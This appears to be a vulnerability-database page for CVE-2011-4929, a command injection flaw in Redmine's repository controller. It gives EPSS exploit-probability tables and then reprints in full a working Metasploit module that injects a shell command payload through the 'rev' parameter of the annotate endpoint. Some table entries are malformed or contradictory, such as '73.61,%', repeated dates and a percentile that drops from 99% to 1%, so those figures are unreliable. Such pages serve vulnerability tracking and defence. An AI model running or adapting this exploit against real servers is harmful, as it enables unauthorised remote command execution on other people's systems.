CVE-2011-4929 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	78.27%	–	–
2022-03-13	–	–	76.69%	–	–
2022-06-19	–	–	75.35%	–	–
2022-09-25	–	–	73.6%	–	–
2022-12-25	–	–	73.02%	–	–
2023-03-12	–	–	–	96.79%	–
2023-04-30	–	–	–	96.54%	–
2023-07-02	–	–	–	96.57%	–
2023-09-03	–	–	–	96.54%	–
2023-11-05	–	–	–	96.4%	–
2024-01-07	–	–	–	96.08%	–
2024-02-11	–	–	–	95.79%	–
2024-03-17	–	–	–	95.94%	–
2024-04-14	–	–	–	95.92%	–
2024-06-02	–	–	–	96.35%	–
2024-07-28	–	–	–	96.26%	–
2024-09-22	–	–	–	96.14%	–
2024-12-22	–	–	–	95.33%	–
2025-02-16	–	–	–	95.38%	–
2025-01-19	–	–	–	95.33%	–
2025-02-16	–	–	–	95.38%	–
2025-03-18	–	–	–	–	73.61%
2025-03-18	–	–	–	–	73.61,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-03-13	99%
2022-06-19	99%
2022-09-25	99%
2022-12-25	99%
2023-03-12	99%
2023-04-30	99%
2023-07-02	99%
2023-09-03	99%
2023-11-05	99%
2024-01-07	99%
2024-02-11	99%
2024-03-17	99%
2024-04-14	99%
2024-06-02	1%
2024-07-28	1%
2024-09-22	1%
2024-12-22	1%
2025-02-16	1%
2025-01-19	1%
2025-02-16	1%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Redmine SCM Repository Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the Redmine repository controller. The flaw is triggered when a rev parameter is passed to the command line of the SCM tool without adequate filtering. }, 'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2011-4929'], ['OSVDB', '70090'], ['URL', 'http://www.redmine.org/news/49' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', #'RequiredCmd' => 'generic telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 19 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]), ], self.class) end def exploit command = Rex::Text.uri_encode(payload.encoded) urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") else print_status("No response from the server") end handler end end